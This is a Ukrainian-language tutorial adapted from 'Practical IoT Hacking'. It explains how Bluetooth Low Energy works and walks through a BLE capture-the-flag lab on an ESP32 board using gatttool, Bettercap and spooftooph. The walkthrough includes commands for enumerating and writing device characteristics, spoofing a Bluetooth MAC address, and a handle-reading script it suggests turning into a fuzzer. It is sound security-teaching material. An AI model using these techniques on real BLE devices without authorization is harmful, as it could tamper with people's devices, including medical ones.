Bluetooth Low Energy (BLE) – це версія пристроїв IoT з бездротовою технологією Bluetooth, яка характеризується зниженим енергоспоживанням. Та спрощений процес сполучення в порівнянні з попередніми версіями Bluetooth. Але BLE також може підтримувати аналогічну, а іноді і збільшену дальність зв’язку. Ви можете знайти його в усіх видах пристроїв, від звичайних гаджетів для здоров’я, таких як розумні годинники або розумні пляшки для води, до критично важливого медичного обладнання, такого як інсулінові помпи та кардіостимулятори. У промислових умовах ця технологія використовується в датчиках, вузлах і шлюзах всіх типів. BLE використовується навіть у військовій справі, де компоненти зброї, такі як приціли, працюють дистанційно через Bluetooth. Звичайно, протокол BLE вже зламали.
Ці пристрої використовують Bluetooth, щоб скористатися простотою та надійністю цього радіопротоколу, але це збільшує поверхню атаки пристрою. У цьому розділі ви дізнаєтеся, як працює зв’язок BLE, вивчите поширене апаратне та програмне забезпечення для зв’язку з пристроями BLE, а також дізнаєтеся, як ефективно виявляти та використовувати вразливості безпеки. Ви пройдете лабораторну роботу за допомогою макетної плати ESP32, а потім виконаєте покрокову вправу Capture the Flag (CTF), розроблену спеціально для BLE. До кінця цього розділу ви будете готові взятися за деякі з лабораторій CTF, які ми навмисно залишили для вас.
BLE споживає значно менше енергії, ніж традиційний Bluetooth, але може передавати невеликі обсяги даних дуже ефективно. Сумісний з Bluetooth 4.0, BLE використовує лише 40 каналів, охоплюючи діапазон від 2400 МГц до 2483,5 МГц. На відміну від цього, традиційний Bluetooth використовує 79 каналів у тому ж діапазоні.
Хоча кожна програма використовує цю технологію по-різному, найпоширенішим способом зв’язку пристроїв BLE є надсилання рекламного пакета. Ці пакети, також відомі як маяки , передають інформацію про існування пристрою BLE іншим пристроям, розташованим поблизу (мал. 11.1). Ці маяки також іноді надсилають дані.
Щоб зменшити енергоспоживання, пристрої BLE надсилають інформаційні пакети лише тоді, коли їм потрібно підключитися та обмінятися даними; Решту часу вони перебувають у сплячому режимі. Прослуховуючий пристрій, також відомий як центральний пристрій, може відповісти на інформаційний пакет запитом SCAN, надісланим спеціально для активного пристрою. Відповідь пристрою на запит SCAN має таку ж структуру, як і інформаційний пакет. Він містить додаткову інформацію, яка не могла бути включена до вихідного інформаційного пакету, наприклад повну назву пристрою або будь-яку додаткову інформацію, додану виробником пристрою.
На малюнку 11.2 показана структура BLE-пакета.
Байт преамбули синхронізує частоту, тоді як чотирибайтова адреса доступу — це ідентифікатор підключення, який використовується в сценаріях, коли кілька пристроїв намагаються встановити з’єднання на одних і тих же каналах. Блок даних протоколу (PDU) містить інформаційний пакет. Існує кілька типів БРЖ; Найчастіше зустрічаються ADV_NONCONN_IND і ADV_IND. Пристрої використовують ADV_NONCONN_IND PDU, якщо не приймають вхідні з’єднання, передаючи дані тільки в інформаційному пакеті. Пристрої використовують ADV_IND, якщо вони дозволяють вхідні з’єднання, і припиняють надсилати інформаційні пакети після встановлення з’єднання. Рис. На малюнку 11.3 показаний ADV_IND-пакет, перехоплений Wireshark.
Тип використовуваного пакета залежить від реалізації BLE та вимог проекту. Наприклад, ви знайдете ADV_IND пакети в розумних пристроях IoT, таких як розумні пляшки для води або годинники, оскільки вони намагаються підключитися до центрального пристрою перед виконанням подальших операцій. З іншого боку, в маяках можна знайти ADV_NONCONN_IND пакети для визначення близькості об’єкта до датчиків, встановлених на різних пристроях.
Усі пристрої BLE мають загальний профіль доступу (GAP), який визначає, як вони можуть підключатися, спілкуватися з ними та робити себе видимими через трансляцію. Периферійний пристрій можна підключити лише до одного центрального пристрою, тоді як центральний пристрій може підключатися до такої кількості периферійних пристроїв, скільки може підтримувати центральний пристрій. Після встановлення з’єднання периферійні пристрої більше не приймають запити на підключення. Для кожного з’єднання периферійний пристрій надсилає рекламні датчики через рівні проміжки часу, використовуючи три різні частоти, доки центральний пристрій не відповість, а периферійний пристрій не підтвердить відповідь, вказуючи на те, що він готовий розпочати з’єднання.
Загальний профіль атрибутів (GATT) визначає, як пристрій повинен форматувати та передавати дані. Коли ви аналізуєте поверхню атаки пристрою BLE, ви часто зосереджуєте свою увагу на GATT, оскільки він визначає, як запускаються певні функції пристрою та як дані зберігаються, групуються та змінюються. GATT перераховує характеристики, дескриптори та послуги пристрою в таблиці у вигляді 16-бітних або 32-розрядних значень. Характеристика — це значення даних, яке передається між центральним пристроєм і периферійним пристроєм. Ці характеристики можуть мати дескриптори, які надають додаткову інформацію про них. Характеристики часто групують в послуги, якщо вони пов’язані з виконанням конкретної дії. Послуги можуть мати кілька характеристик, як показано на мал. 11.4.
У цьому розділі ми розглянемо апаратне та програмне забезпечення, необхідне для взаємодії з пристроями BLE. Ми познайомимо вас з обладнанням, яке можна використовувати для встановлення BLE-з’єднань, а також з програмним забезпеченням для зв’язку з іншими пристроями.
Необхідне обладнання BLE
Для роботи з BLE вам доступний широкий спектр різних пристроїв. Для зручного надсилання та отримання даних може вистачити вбудованих модулів ноутбука або дешевих зовнішніх USB-адаптерів. Але для сніфінгу та злому низькорівневого протоколу вам знадобиться щось більш складне та надійне. Ціни на ці пристрої сильно різняться; Список обладнання для взаємодії з BLE ви знайдете в розділі «Інструменти злому IoT».
У цьому розділі ми будемо використовувати макетну плату ESP32 WROOM від Espressif Systems (https://www.espressif.com/), яка підтримує протоколи Wi-Fi і BLE 2,4 ГГц (мал. 11.5).
Плата має вбудовану флеш-пам’ять, а програмувати та живити її можна за допомогою кабелю micro-USB. Вона дуже компактна і доступна, а радіус дії антени непоганий для її розмірів. Ви також можете використовувати цю карту для інших атак, наприклад, атак на Wi-Fi.
Залежно від пристрою, який ви використовуєте, вам може знадобитися встановити мікропрограму або драйвери, щоб належним чином розпізнавати пристрої та керувати ними. У Linux ви, швидше за все, будете використовувати BlueZ, офіційний стек Bluetooth, хоча існують пропрієтарні драйвери для адаптерів від таких постачальників, як Broadcom або Realtek. Усі інструменти, які ми розглянемо в цьому розділі, працюють з BlueZ з коробки.
Якщо у вас виникли проблеми з BlueZ, встановіть останню версію, доступну за адресою http://www.bluez.org/download/ (можливо, у вас є попередня версія, попередньо встановлена в менеджері пакунків вашого дистрибутива Linux).
Hciconfig — це інструмент Linux, який можна використовувати для налаштування та тестування з’єднань BLE. Якщо ви запустите Hciconfig без аргументів, ви побачите свій інтерфейс Bluetooth. Стан ВГОРУ або ВНИЗ вказує на те, чи ввімкнено інтерфейс адаптера Bluetooth:
# hciconfig hci0: Type: Primary Bus: USB BD Address: 00:1A:7D:DA:71:13 ACL MTU: 310:10 SCO MTU: 64:8 UP RUNNING RX bytes:1280 acl:0 sco:0 events:66 errors:0 TX bytes:3656 acl:0 sco:0 commands:50 errors:0
Якщо інтерфейс не відображається, переконайтеся, що драйвери завантажено. Ім’я модуля ядра в системах Linux має бути bluetooth. Використовуйте команду modprobe, щоб показати конфігурацію модуля з параметром -c:
# modprobe -c bluetooth
Ви також можете спробувати вимкнути інтерфейс, а потім увімкнути його знову за допомогою наступної команди:
# hciconfig hci0 down && hciconfig hci0 up
Якщо це не допомогло, спробуйте скинути налаштування:
# hciconfig hci0 reset
Ви також можете переглянути більше інформації за допомогою параметра -a:
# hciconfig hci0 -a hci0: Type: Primary Bus: USB BD Address: 00:1A:7D:DA:71:13 ACL MTU: 310:10 SCO MTU: 64:8 UP RUNNING RX bytes:17725 acl:0 sco:0 events:593 errors:0 TX bytes:805 acl:0 sco:0 commands:72 errors:0 Features: 0xff 0xff 0x8f 0xfe 0xdb 0xff 0x5b 0x87 Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 Link policy: RSWITCH HOLD SNIFF PARK Link mode: SLAVE ACCEPT Name: 'CSR8510 A10' Class: 0x000000 Service Classes: Unspecified Device Class: Miscellaneous, HCI Version: 4.0 (0x6) Revision: 0x22bb LMP Version: 4.0 (0x6) Subversion: 0x22bb Manufacturer: Cambridge Silicon Radio (10)
Якщо пристрій IoT з підтримкою BLE не захищений належним чином, ви можете перехоплювати, аналізувати, змінювати та повторно передавати його повідомлення, щоб контролювати роботу пристрою. Загалом, при оцінці безпеки IoT-пристрою за допомогою BLE потрібно наступне:
Знайдіть адресу пристрою BLE.
Проскануйте сервери GATT.
Визначте їх функціональність, використовуючи наступні характеристики, послуги та атрибути.
Керуйте своїм пристроєм за допомогою читання та запису.
Давайте розглянемо реалізацію цих кроків за допомогою двох інструментів: GATTTool і Bettercap.
GATTTool є частиною BlueZ. В основному ви будете використовувати вати його для таких операцій, як встановлення з’єднання з іншим пристроєм, перерахування характеристик цього пристрою, а також читання та запис його атрибутів. Запустіть GATTTool без аргументів, щоб побачити список підтримуваних дій. GATTTool може запускати інтерактивну оболонку з параметром -І. Наступна команда задає інтерфейс адаптера BLE, щоб ви могли підключитися до пристрою та отримати перелік його характеристик:
# gatttool -i hci0 -I
Усередині інтерактивної оболонки введіть команду connect <mac add ress> щоб встановити з’єднання; потім отримайте список характеристик за допомогою підкоманди «Характеристики»:
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb … handle: 0x0055, char properties: 0x02, char value handle: 0x0056, uuid: 0000ff17-0000-1000-8000-00805f9b34fb [A4:CF:12:6C:B3:76][LE]> exit
Тепер у нас є дескриптори, значення та служби, які описують дані та операції, що підтримуються пристроєм BLE.
Давайте проаналізуємо цю інформацію за допомогою Bettercap, більш потужного інструменту, який допоможе нам побачити інформацію в зручному для читання форматі.
Щоб виявити пристрої з підтримкою BLE, увімкніть модуль BLE і почніть захоплення маяків за допомогою опції ble.recon. Виклик його з параметром –eval під час завантаження Bettercap приймає команди Bettercap і автоматично виконує їх під час роботи Bettercap:
Bettercap (https://www.bettercap.org/) – інструмент для сканування та атаки на пристрої, що працюють у діапазоні 2,4 ГГц. Він має простий у використанні графічний інтерфейс і розширювані модулі для найпоширеніших завдань сканування та BLE-атак, таких як прослуховування інформаційних пакетів і виконання операцій читання/запису. Крім того, ви можете використовувати його для атак на Wi-Fi, HID та інші технології (людина посередині або інші).
Bettercap встановлено на Kali за замовчуванням і доступний у більшості менеджерів пакунків Linux. Встановити і запустити його з Docker можна наступним чином:
# docker pull bettercap/bettercap # docker run -it --privileged --net=host bettercap/bettercap -h
Щоб виявити пристрої з підтримкою BLE, увімкніть модуль BLE і почніть захоплення маяків за допомогою опції ble.recon. Виклик його з параметром –eval під час завантаження Bettercap при:
# bettercap --eval "ble.recon on" Bettercap v2.24.1 (built for linux amd64 with go1.11.6) [type 'help' for a list of commands] 192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device BLECTF detected as A4:CF:12:6C:B3:76 -46 dBm 192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device BLE_CTF_SCORE detected as 24:62:AB:B1:AB:3E -33 dBm 192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device detected as 48:1A:76:61:57:BA (Apple, Inc.) -69 dBm
Ви повинні побачити рядок для кожного отриманого рекламного пакет BLE. Ця інформація містить ім’я пристрою та MAC-адресу, які вам знадобляться для встановлення зв’язку із пристроями. Якщо ви запустили Bettercap з параметром eval, можете автоматично записувати всі виявлені пристрої. Потім командою ble.show ви легко виведете список виявлених пристроїв та супутню інформацію: їх MAC-адреси, постачальників та прапори (мал. 11.6).
>> ble.show
Зверніть увагу, що вихід команди ble.show містить потужність сигналу (RSSI), MAC-адресу, яку ми будемо використовувати для підключення до пристрою, ім’я виробника, яке може дати підказку про тип пристрою, який нам потрібен. Дані також містять комбінацію підтримуваних протоколів, статус з’єднання та позначку часу останнього отриманого маяка.
Після того, як ми визначили MAC-адресу цільового пристрою, ми можемо виконати наступну команду Bettercap. Він виводить гарну, відформатовану таблицю з характеристиками, згрупованими за службами, їхніми властивостями та даними, доступними через GATT:
>> ble.enum <mac addr>
На малюнку 11.7 представлена результуюча таблиця.
У стовпці «Дані» ви можете побачити, що цей сервер GATT є інформаційною панеллю CTF з різноманітною інформацією, наприклад, інструкціями щодо надсилання відповідей.
Це цікавий спосіб вивчити атаки на практиці. Але перш ніж ми перейдемо до реалізації одного з них, давайте переконаємося, що ви знаєте, як робити класичні читання та записи. Ви будете використовувати їх для пошуку та запису даних, які змінюють стан пристрою. Властивість WRITE підсвічується, коли дескриптори вказують на те, що операція дозволена; Зверніть пильну увагу на налаштування вашого пристрою, оскільки вони часто помилкові.
У BLE UUID унікально ідентифікує характеристики, послуги та атрибути. Знаючи UUID характеристик, ви можете записувати в нього дані за допомогою команди ble.write Bettercap:
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
Усі дані, що надсилаються, мають бути у шістнадцятковому форматі. Наприклад, щоб надіслати слово «привіт» до характеристики з UUID ff06, вам слід ввести таку команду в інтерактивній оболонці Bettercap:
>> ble.write <mac address of device> ff06 68656c6c6f
Ви також можете використовувати GATTTool для читання та запису даних. У GATTTool передбачено підтримку додаткових форматів вхідних даних для визначення обробників або UUID. Наприклад, щоб запустити команду write потужністю GATTTool замість Bettercap, введіть:
# gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --charwritereq <characteristic handle> <value>
Давайте потренуємося читати дані за допомогою GATTTool. Витягніть ім’я пристрою з дескриптора з адресою 0x16 (вона зарезервована протоколом як ім’я пристрою).
# gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --charread -a 0x16 # gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x16 Characteristic value/descriptor: 32 62 30 30 30 34 32 66 37 34 38 31 63 37 62 30 35 36 63 34 62 34 31 30 64 32 38 66 33 33 63 66
Тепер ви можете знаходити пристрої, перераховувати технічні характеристики, а також читати та записувати дані, щоб спробувати змінити функціональність пристрою. Ви готові почати злом BLE.
У цьому розділі ми розглянемо CTF, розроблений, щоб допомогти вам практикувати злом BLE – BLE CTF Infinity Project (https:// github.com/hackgnar/ble_ctf_infinity/). Використання CTF вимагає як базових, так і просунутих навичок. Цей CTF працює на дошці ESP32 WROOM.
Ми будемо використовувати Bettercap і GATTTool по черзі, тому що іноді один інструмент кращий за інший, коли справа доходить до вирішення певних проблем. Розв’язання практичних задач за допомогою цього CTF навчить вас досліджувати невідомі пристрої, виявляти функціональність та керувати станами цих пристроїв. Перш ніж йти далі, переконайтеся, що ви налаштували середовище розробки та інструментарій для ESP32, як описано на сторінці https://docs.espressif.com/projects/esp-idf/en/latest/get-started/. Більшість операцій буде виконуватися так, як описано в документації; Деякі нюанси будуть відзначені нижче.
Для збирання BLE CTF Infinity ми рекомендуємо використовувати Linux, оскільки makefile виконує деякі додаткові дії з копіювання початкового коду (ви можете скористатися файлом CMakeLists.txt, якщо ви надаєте перевагу компіляції у середовищі Windows). Файл, необхідний для компіляції, включений до файлу
Крім того, важливо зазначити, що ця книга доступна за адресою https://nostarch.com/practical-iot-hacking/.
Для успішної компіляції інструменту потрібно зробити наступне.
Створіть порожню теку з назвою main у кореневій теці проєкту.
У команді make Переконайтеся, що ваш пристрій налаштовано, Bluetooth увімкнено, а попередження компілятора не вказують на помилки. Знову ж таки, ви можете знайти файл sdkconfig для збірки в онлайн-ресурсах, які супроводжують книгу.
У запустіть команду make codegen, щоб запустити сценарій Python, який, серед іншого, копіює вихідні файли в основну папку.
Зв’яжіть файл main/flag_scoreboard.c і змініть значення змінної string_total_flags [] с 0 на 00.
Виконайте команду make для збірки CTF і make flash для запису прошивки на плату. Коли процес завершиться, програма CTF запуститься автоматично.
Після запуску CTF ви повинні побачити маяки, доступні при скануванні. Іншим варіантом є звернення до призначеного послідовного порту (за замовчуванням бітрейт 115200) і перевірка налагоджувальних даних.
… I (1059) BLE_CTF: create attribute table successfully, the number handle = 31 I (1059) BLE_CTF: SERVICE_START_EVT, status 0, service_handle 40 I (1069) BLE_CTF: advertising start successfully
Знайдіть табло, на якому вказано маніпулятор для надсилання прапорців, маркер для навігації завданнями та ще один маркер для скидання CTF. Далі отримайте список характеристик за допомогою інструменту, якому ви віддаєте перевагу (мал 11.8).
Дескриптор 0030 дозволяє переміщатися по завданнях. Використовуючи Bettercap, запишіть значення 0001 в цей дескриптор, щоб перейти до прапора під номером 1:
>> ble.write a4:cf:12:6c:b3:76 ff02 0001
Щоб зробити те ж саме з GATTTool, скористайтеся наступною командою:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0001
Після того, як ви записали характеристику, ім’я маяка буде вказувати на те, що ви бачите сервер GATT для прапора #1. Наприклад, Bettercap покаже щось на кшталт цього:
[ble.device.new] new BLE device FLAG_01 detected as A4:CF:12:6C:B3:76 -42 dBm
Це відображення нової таблиці ГАТТ, по одній для кожного завдання. Тепер, коли ви ознайомилися з базовою навігацією, повернімося до основної таблиці:
[a4:cf:12:6c:b3:76][LE]> char-write-req 0x002e 0x1
Почнемо з прапорця #0. Перейдіть до нього, написавши значення 0000 у 0x0030 дескриптор:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000
Цікаво, що завдання 0 виглядає не що інше, як вихідний сервер ГАТТ, що відображає таблицю (мал. 11.9). Ми щось пропустили?
Якщо придивитися, то ім’я пристрою 04dc54d9053b4307680a дуже схоже на прапорець, чи не так? Давайте перевіримо це, надіславши ім’я пристрою як відповідь на дескриптор 002e. Примітка: якщо ви використовуєте GATTTool, вам потрібно буде відформатувати його в шістнадцятковому форматі:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps) Characteristic value was written successfully
Коли ви переглядаєте таблицю, ви можете побачити, що команду було запущено, оскільки прапорець 0 відображається як завершений. Ви розв’язали першу проблему. Вітаємо!
Тепер переходимо до FLAG_01 силою команди:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000
Тут ми знову почнемо з вивчення таблиці ГАТТ. Давайте спробуємо за допомогою GATTTool перерахувати характеристики та дескриптори:
# gatttool -b a4:cf:12:6c:b3:76 -I [a4:cf:12:6c:b3:76][LE]> connect Bluetooth Low Energy (BLE) 327 Attempting to connect to a4:cf:12:6c:b3:76 Connection successful [a4:cf:12:6c:b3:76][LE]> primary attr handle: 0x0001, end grp handle: 0x0005 uuid: 00001801-0000-1000-8000-00805f9b34fb attr handle: 0x0014, end grp handle: 0x001c uuid: 00001800-0000-1000-8000-00805f9b34fb attr handle: 0x0028, end grp handle: 0xffff uuid: 000000ff-0000-1000-8000- 00805f9b34fb write-req characteristics [a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0001 Characteristic value/descriptor: 01 18 [a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0014 Characteristic value/descriptor: 00 18 [a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0028 Characteristic value/descriptor: ff 00 [a4:cf:12:6c:b3:76][LE]> char-desc handle: 0x0001, uuid: 00002800-0000-1000-8000-00805f9b34fb … handle: 0x002e, uuid: 0000ff03-0000-1000-8000-00805f9b34fb
Після вивчення кожного дескриптора ми знаходимо дескриптор 0x002c, який виглядає як прапор. Щоб прочитати значення дескриптора, ми можемо використовувати команду char-read-hnd <handle>, наприклад:
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x002c Characteristic value/descriptor: 38 37 33 63 36 34 39 35 65 34 65 37 33 38 63 39 34 65 31 63
Пам’ятайте, що вихідні дані мають шістнадцятковий формат, тому вони відповідають тексту ASCII 873c6495e4e738c94e1c. Прапор ми знайшли! Поверніться до головної таблиці та надішліть новий прапорець, як ви це робили раніше з прапором 0:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "873c6495e4e738c94e1c"|xxd -ps) Characteristic value was written successfully
Ми також могли б використовувати bash для автоматизації виявлення цього прапорця. У цьому випадку ми б перебирали обробники, щоб прочитати значення кожного обробника. Було б легко переписати наступний скрипт у простий фузер, який записує значення замість виконання операції –char-read:
#!/bin/bash for i in {1..46} do VARX=`printf '%04x\n' $i` echo "Reading handle: $VARX" gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x$VARX sleep 5 done
Коли ми запускаємо скрипт, нам потрібно отримати інформацію з дескрипторів:
Reading handle: 0001 Characteristic value/descriptor: 01 18 Reading handle: 0002 Characteristic value/descriptor: 20 03 00 05 2a … Reading handle: 002e Characteristic value/descriptor: 77 72 69 74 65 20 68 65 72 65 20 74 6f 20 67 6f 74 6f 20 74 6f 20 73 63 6f 72 65 62 6f 61 72 64
Коли ви дивитеся на таблицю FLAG_02 GATT, то на 0x002c дескрипторі повинно з’явитися повідомлення «Недостатня аутентифікація», а також повідомлення «З’єднатися з pin 0000» на 0x002a маніпуляторі (рис. 11.10). Це завдання імітує пристрій зі слабким контактом, який використовується для автентифікації.
Підказка має на увазі, що нам потрібно встановити безпечне з’єднання, щоб прочитати захищений дескриптор 0x002c. Для цього ми використовуємо GATTTool з параметром –sec-level = high, який встановлює високий рівень безпеки з’єднання та встановлює автентифіковане зашифроване з’єднання (AESCMAC або ECDHE) перед читанням значення:
# gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c Characteristic value/descriptor: 35 64 36 39 36 63 64 66 35 33 61 39 31 36 63 30 61 39 38 64
Це круто! Цього разу, після перетворення з шістнадцяткового в ASCII, замість повідомлення «Недостатня аутентифікація» ми отримуємо прапор 5d696cdf53a916c0a98d. Поверніться до головної таблиці та завантажте її, як показано раніше:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "5d696cdf53a916c0a98d"|xxd -ps) Characteristic value was written successfully
Як бачите, прапор правильний! Ми розв’язали задачу No2.
Перейдіть до FLAG_03 та отримайте список послуг та характеристик на сервері GATT. У рядку 0x002a є повідомлення «З’єднатися з mac 11:22:33:44:55:66» (рис. 11.11). Тепер перед нами стоїть завдання навчитися підробляти оригінальний MAC-адреса з’єднання, щоб прочитати дескриптор.
Це означає, що ми повинні підробити справжню MAC-адресу Bluetooth, щоб отримати прапор. Можна використовувати Hciconfig для виконання команд, які змінять ваш MAC, однак утиліта spooftooph Linux набагато простіша у використанні, оскільки вона не вимагає надсилання необроблених команд. Встановіть утиліту за допомогою вашого улюбленого менеджера пакетів і виконайте наступну команду, щоб замінити MAC-адресу адресою, вказаною в повідомленні:
# spooftooph -i hci0 -a 11:22:33:44:55:66 Manufacturer: Cambridge Silicon Radio (10) Device address: 00:1A:7D:DA:71:13 New BD address: 11:22:33:44:55:66 Address changed
Перевірте свою нову підроблену MAC-адресу за допомогою hciconfig:
# hciconfig hci0: Type: Primary Bus: USB BD Address: 11:22:33:44:55:66 ACL MTU: 310:10 SCO MTU: 64:8 UP RUNNING RX bytes:682 acl:0 sco:0 events:48 errors:0 TX bytes:3408 acl:0 sco:0 commands:48 errors:0
За допомогою команди Bettercap ble.enum ще раз погляньте на сервер GATT для цього завдання. На цей раз в рядку 0x002c повинен з’явитися новий прапорець (малс. 11.12).
Поверніться до головної таблиці та надішліть новий прапорець:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "0ad3f30c58e0a47b8afb"|xxd -ps) Characteristic value was written successfully
Потім звіряємося з таблицею, щоб побачити оновлений результат (мал. 11.13).
Ми сподіваємося, що після цього короткого обговорення атаки BLE надихнули вас на подальші виклики CTF. Вони представляють реальні проблеми, які вам доведеться вирішувати щодня при оцінці пристроїв з підтримкою BLE. Ми показали основні поняття та деякі з найпопулярніших атак, але майте на увазі, що ви можете виконувати й інші атаки, такі як атаки типу “людина посередині”, якщо пристрій не використовує безпечне з’єднання.
В даний час відомо багато специфічних вразливостей для кожного нового додатка або протоколу, що використовує BLE, і є ймовірність, що програміст припустився помилки, яка призвела до помилки безпеки в їх реалізації. Незважаючи на те, що зараз доступна нова версія Bluetooth (5.0), її впровадження було повільним, тому в найближчі роки ви зустрінете набагато більше пристроїв BLE.
Ми використовували матеріали з книги “The Definitive Guide to Attacking the Internet of Things ”, яку написали Фотиос Чанцис, Иоаннис Стаис,
Паулино Кальдерон, Евангелос Деирменцоглу и Бо Вудс.